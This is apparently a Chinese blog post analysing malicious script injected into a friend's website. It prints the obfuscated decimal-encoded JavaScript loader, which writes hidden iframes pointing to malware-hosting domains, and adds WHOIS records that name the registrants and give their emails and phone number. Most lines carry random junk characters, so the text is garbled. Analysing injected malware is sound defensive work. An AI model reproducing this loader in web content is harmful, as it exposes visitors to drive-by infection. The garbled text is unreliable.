首发在我的博客里面，
+2Ql~w@$^l )\0q_a http://www.areway.cn/?p=175 E=k w)<X2 )v1 CC.. }/p/ pVz 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
\TUE<<?1s ?+Q$#pb <script>t=’60,105,102,114,97,109,101,
sB6dp D 32,115,114,99,61,104,116,116,112,58,47,47,
~:EW>Fq%i 102,114,101,101,46,117,45,117,117,117,46,99,
+#s;yc#=2 110,47,101,114,114,111,114,46,104,116,109,
f ;wc{qy 32,119,105,100,116,104,61,49,48,48,32,104,
D %U:!|G 101,105,103,104,116,61,48,62,60,47,105,102,
YjLe(+ WQ 114,97,109,101,62′;
q@kOTkHv) t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
/EU ; ?O .=XD)>$ <script>t=’60,105,102,114,97,109,101,32,115,
7)J6/(' 114,99,61,104,116,116,112,58,47,47,102,114,
4\6: \ 101,101,46,117,45,117,117,117,46,99,110,47,
q^*6C[G B 101,114,114,111,114,46,104,116,109,32,119,
E/mw* c^ 105,100,116,104,61,49,48,48,32,104,101,105,
i3PKqlp. 103,104,116,61,48,62,60,47,105,102,114,97,
2tf6GX : 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
xnbsg!`;7W document.write(t);</script>
g~ !$i`_b vCb]%sd-U <html xmlns=”
q}wj} t# http://www.w3.org/1999/xhtml {6O0.}q]& “>
)o jDRJ& <head>
hwVAXsF ~ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
rN" Xz <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
P'tMu6+) <title>首页 - 爱生活家庭网
*d>vR 1 eh<rRx"[ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
]*;F. p Z 转换字符串后的大概内容是（谁点击后果自付）：
=VSkl;(O <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
O R
#7" V7C1FV2 查询玉米u-uuu.cn的详细信息：
:6lwO%=F Domain Name: u-uuu.cn
v"RiPHLT ROID: 20070901s10001s64972306-cn
k|FSz#Y Domain Status: ok
Uo6(|m m Registrant Organization: 王雷
DMd ,8W7a Registrant Name: 王雷
*Hs*,}MS Administrative Email:
czlovexs@126.com e g3L:rk_ Sponsoring Registrar: 北京万网志成科技有限公司
2+ '| kt2 Name Server:ns.yovole.com
,J(l J,c Name Server:ns1.yovole.com
2*u.3,aW Registration Date: 2007-09-01 17:54
hD
q2-X} Expiration Date: 2008-09-01 17:54
`*yAiv> 最后PING了一下地址 都没有什么….
.X'<
D* }fA;7GW+9 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
?z=\Ye5x <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
3t aa^e. <script language=”javascript” src=”
3 SNL5 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script K\&o2lo] >
1b3( 这个玉米应该有可能是木马作者的：
iF9_b foafau.info的详细信息：
B1$ikY Access to INFO WHOIS information is provided to assist persons in
vv.PF~: determining the contents of a domain name registration record in the
hCC}d0gf`n Afilias registry database. The data in this record is provided by
|pW\Ec#( Afilias Limited for informational purposes only, and Afilias does not
jPk
c3dG
+ guarantee its accuracy. This service is intended only for query-based
vZkXt!%) access. You agree that you will use this data only for lawful purposes
A- wRah.M and that, under no circumstances will you use this data to: (a) allow,
[w+Q^\%bN enable, or otherwise support the transmission by e-mail, telephone, or
hNbIp i= facsimile of mass unsolicited, commercial advertising or solicitations
PAZ$_eSK6 to entities other than the data recipient’s own existing customers; or
V=}1[^ (b) enable high volume, automated, electronic processes that send
~R.d PUr queries or data to the systems of Registry Operator, a Registrar, or
eko]H!Ov( Afilias except as reasonably necessary to register domain names or
tln1eN((q modify existing registrations. All rights reserved. Afilias reserves
IU!H t> the right to modify these terms at any time. By submitting this query,
kus}W J you agree to abide by this policy.
`,Orf ZMb Domain ID:D22418703-LRMS
64U6C *w+ Domain Name:FOAFAU.INFO
>85zQ
1aL Created On:20-Nov-2007 16:05:42 UTC
?QpNjsF Last Updated On:20-Nov-2007 16:05:44 UTC
HY)ESU
! Expiration Date:20-Nov-2008 16:05:42 UTC
mqFq_UX/ T Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
s[ AA 7>]3 Status:CLIENT DELETE PROHIBITED
1R*=.i%W Status:CLIENT RENEW PROHIBITED
6D / '` Status:CLIENT TRANSFER PROHIBITED
Hk;-5A|9 Status:CLIENT UPDATE PROHIBITED
q`Q }yE> 9 Status:TRANSFER PROHIBITED
Y~q b;N\ Registrant ID:GODA-040110615
\VN=Ef\E Registrant Name:liu hong
&q>zR6j ne Registrant Organization:
|LmSWy*7 Registrant Street1:beijing
^8K/ xo- Registrant Street2:
H+l,)Se Registrant Street3:
t;47(U Registrant City:beijing
#C*&R>IvY Registrant State/Province:
]ii+S"U3 Registrant Postal Code:100000
S%l:kKD Registrant Country:CN
R1%y]]*-P Registrant Phone:+86.860108888777
>ttuum12w Registrant Phone Ext.:
Acu@[ I ^ Registrant FAX:
yn~P{}68 Registrant FAX Ext.:
1`-r#-M GG Registrant Email:bbbshiji@163.com
u^4h&fL Admin ID:GODA-240110615
lTz6"/ Admin Name:liu hong
B9M>e'H%< Admin Organization:
nPA@h Admin Street1:beijing
N:W9}, Admin Street2:
>eS$ Admin Street3:
} htPTOy5 Admin City:beijing
T20VX 8gX Admin State/Province:
7SS07$B Admin Postal Code:100000
^}>/n. % Admin Country:CN
zY%. Rq- Admin Phone:+86.860108888777
g1|w? pI1 Admin Phone Ext.:
3M<!?%v\A Admin FAX:
(E!!pz Admin FAX Ext.:
Z'M`}3O Admin Email:bbbshiji@163.com
YYUe)j{T Billing ID:GODA-340110615
#Ufo)\x Billing Name:liu hong
)^/0cQcJ Billing Organization:
fgCT!s7z Billing Street1:beijing
=~|:t&v=c Billing Street2:
{THqz$KN Billing Street3:
|y1;&< Billing City:beijing
Vb)zZ^va+ Billing State/Province:
: F9|&q-W, Billing Postal Code:100000
6 bO; & Billing Country:CN
!'W- 6f Billing Phone:+86.860108888777
CL3xg)x6 Billing Phone Ext.:
;p Z[| Billing FAX:
3 QCVgo
i\ Billing FAX Ext.:
bd \=h1 Billing Email:bbbshiji@163.com
MR;X&Up6! Tech ID:GODA-140110615
([LIjaoi Tech Name:liu hong
b{&FuvQg 2 Tech Organization:
-cf x2;68 Tech Street1:beijing
MCYl{u H! Tech Street2:
rC }}r!! Tech Street3:
(vyz ;Ob Tech City:beijing
` }8&E(< Tech State/Province:
geGeZ5+B Tech Postal Code:100000
r<yhI>>;< Tech Country:CN
8MF2K 6 Tech Phone:+86.860108888777
fN[8N$1- Tech Phone Ext.:
(:sZ
b?* Tech FAX:
U Cb02h Tech FAX Ext.:
b^Cfhy^RTq Tech Email:bbbshiji@163.com
OhwF )p= Name Server:NS27.DOMAINCONTROL.COM
<avQR 9'& Name Server:NS28.DOMAINCONTROL.COM
5H
!y 46z Name Server:
Tr .hmG U Name Server:
>K:u ?YD [ Name Server:
4#BRx#\ O Name Server:
!% S 4 n Name Server:
}ug xN0 Name Server:
!j^ &gRH Name Server:
bFGDgwe z Name Server:
Qv{,wytyO Name Server:
f / ahwz Name Server:
"J19*<~ Name Server:
_\zQ" y|G `W5-.Tv 接着下载每个文件里面的代码：
a5?8QAO~r 一步一步看..
@d& H]5 
?R'Y? b 
# c Fr 
TFH&(_b 
4gZ &^y' 
O W5t[~y] 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
